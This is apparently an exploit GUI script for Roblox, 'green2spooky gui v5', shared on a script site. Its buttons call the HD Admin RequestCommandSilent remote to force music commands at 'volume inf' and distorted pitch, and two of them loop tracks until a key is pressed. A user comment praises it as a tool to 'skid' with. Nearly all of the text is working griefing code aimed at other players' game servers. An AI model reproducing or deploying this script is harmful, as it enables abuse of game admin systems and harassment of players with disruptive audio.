-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_d5()
	local script = G2L["d5"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 72420924397376 ;pitch 0.2 ;volume 10.99")

	end)

end;
task.spawn(C_d5);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_d7()
	local script = G2L["d7"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 132575740723866 ;pitch 0.2 ;volume inf")
		;
	end)

end;
task.spawn(C_d7);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_d9()
	local script = G2L["d9"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 101381195264372 ;pitch 0.17 ;volume 10.99")

	end)

end;
task.spawn(C_d9);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_db()
	local script = G2L["db"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 135795229390125 ;pitch 0.25 ;volume 10.99")

	end)

end;
task.spawn(C_db);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_dd()
	local script = G2L["dd"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 121290295295713 ;pitch 0.115 ;volume 10.99")

	end)

end;
task.spawn(C_dd);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_df()
	local script = G2L["df"];
	script.Parent.MouseButton1Click:Connect(function()
		--uploaded by skylord

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 105661837265436 ;pitch 0.091 ;volume 10.99")

	end)

end;
task.spawn(C_df);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_e1()
	local script = G2L["e1"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 80225779962452 ;pitch 0.2 ;volume 10.99")

	end)

end;
task.spawn(C_e1);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_e3()
	local script = G2L["e3"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 90289127130880 ;volume 10.99")

	end)

end;
task.spawn(C_e3);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_e5()
	local script = G2L["e5"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 97682487730157 ;volume inf")

	end)

end;
task.spawn(C_e5);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_e7()
	local script = G2L["e7"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 136111288303730 ;pitch 0.206 ;volume 10.99")

	end)

end;
task.spawn(C_e7);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_e9()
	local script = G2L["e9"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 131800565792856 ;pitch 0.103 ;volume 10.99")

	end)

end;
task.spawn(C_e9);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_eb()
	local script = G2L["eb"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 118761863682498 ;pitch 1.2 ;volume 10.99")

	end)

end;
task.spawn(C_eb);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_ed()
	local script = G2L["ed"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 108229578924399 ;pitch 0.25 ;volume 10.99")

	end)

end;
task.spawn(C_ed);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_ef()
	local script = G2L["ef"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 85481339656782 ;pitch 0.1 ;volume 10.99")

	end)

end;
task.spawn(C_ef);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_f1()
	local script = G2L["f1"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 136937644769481 ;pitch 0.174 ;volume 10.99")

	end)

end;
task.spawn(C_f1);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_f3()
	local script = G2L["f3"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 85717049589389 ;pitch 0.125 ;volume 10.99")

	end)

end;
task.spawn(C_f3);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_f5()
	local script = G2L["f5"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 123572020022002 ;volume 10.99")

	end)

end;
task.spawn(C_f5);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_f7()
	local script = G2L["f7"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 84690995964261 ;pitch 0.1 ;volume 10.99")

	end)

end;
task.spawn(C_f7);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_f9()
	local script = G2L["f9"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local UserInputService = game:GetService("UserInputService")

		local RequestCommand =
			ReplicatedStorage:WaitForChild("HDAdminHDClient")
			.Signals.RequestCommandSilent

		local stop = false

		UserInputService.InputBegan:Connect(function(input, gp)
			if gp then return end
			if input.KeyCode == Enum.KeyCode.X then
				stop = true
			end
		end)

		while not stop do
			RequestCommand:InvokeServer("/music 123538552604206 /pitch 0.164 /volume inf")
			wait(11.45)
			if stop then break end

			RequestCommand:InvokeServer("/music 81763153581180 /pitch 0.164 /volume inf")
			wait(40.33)
			if stop then break end

			RequestCommand:InvokeServer("/music 108431427964374 /pitch 0.164 /volume inf")
			wait(38.5)
			if stop then break end

			RequestCommand:InvokeServer("/music 97349423894815 /pitch 0.164 /volume inf")
			wait(33.80)
			if stop then break end

			RequestCommand:InvokeServer("/music 97697360513604 /pitch 0.164 /volume inf")
			wait(26.05)
			if stop then break end

		end

	end)

end;
task.spawn(C_f9);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_fb()
	local script = G2L["fb"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local UserInputService = game:GetService("UserInputService")

		local RequestCommand =
			ReplicatedStorage:WaitForChild("HDAdminHDClient")
			.Signals.RequestCommandSilent

		local stop = false

		UserInputService.InputBegan:Connect(function(input, gp)
			if gp then return end
			if input.KeyCode == Enum.KeyCode.X then
				stop = true
			end
		end)

		while not stop do
			RequestCommand:InvokeServer("/music 98577047693866 /pitch 0.27 /volume inf")
			wait(9.5)
			if stop then break end

			RequestCommand:InvokeServer("/music 73018841178762 /pitch 0.27 /volume inf")
			wait(9.5)
			if stop then break end

			RequestCommand:InvokeServer("/music 126797621123244 /pitch 0.27 /volume inf")
			wait(9.5)
			RequestCommand:InvokeServer("/music 75359751350390 /pitch 0.27 /volume inf")
			wait(9.5)
		end


	end)

end;
task.spawn(C_fb);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_fd()
	local script = G2L["fd"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 110494109601915 ;pitch 0.041 ;volume 10.99")

	end)

end;
task.spawn(C_fd);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_ff()
	local script = G2L["ff"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 108790921236624 ;pitch 0.1 ;volume 10.99")

	end)

end;
task.spawn(C_ff);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_101()
	local script = G2L["101"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 18841891575 ;volume 10.99")

	end)

end;
task.spawn(C_101);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_103()
	local script = G2L["103"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 75972926928759 ;pitch 0.305 ;volume 10.99")

	end)

end;
task.spawn(C_103);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_105()
	local script = G2L["105"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 86412047196482 ;pitch 1.02 ;volume 10.99")

	end)

end;
task.spawn(C_105);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.music tab.TextButton.LocalScript
local function C_107()
	local script = G2L["107"];
	script.Parent.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		RequestCommand:InvokeServer(";music 134904159263853 ;pitch 0.167 ;volume 10.99")

	end)

end;
task.spawn(C_107);

return G2L["1"], require;

Features & Information

green2spooky gui v5 blue edition

Community Comments (1)

ddfwfdfsfsddfwfdfsfsJul 15, 2026

Thank you for your free open source script, i can now skid for free

More Scripts for Universal Scripts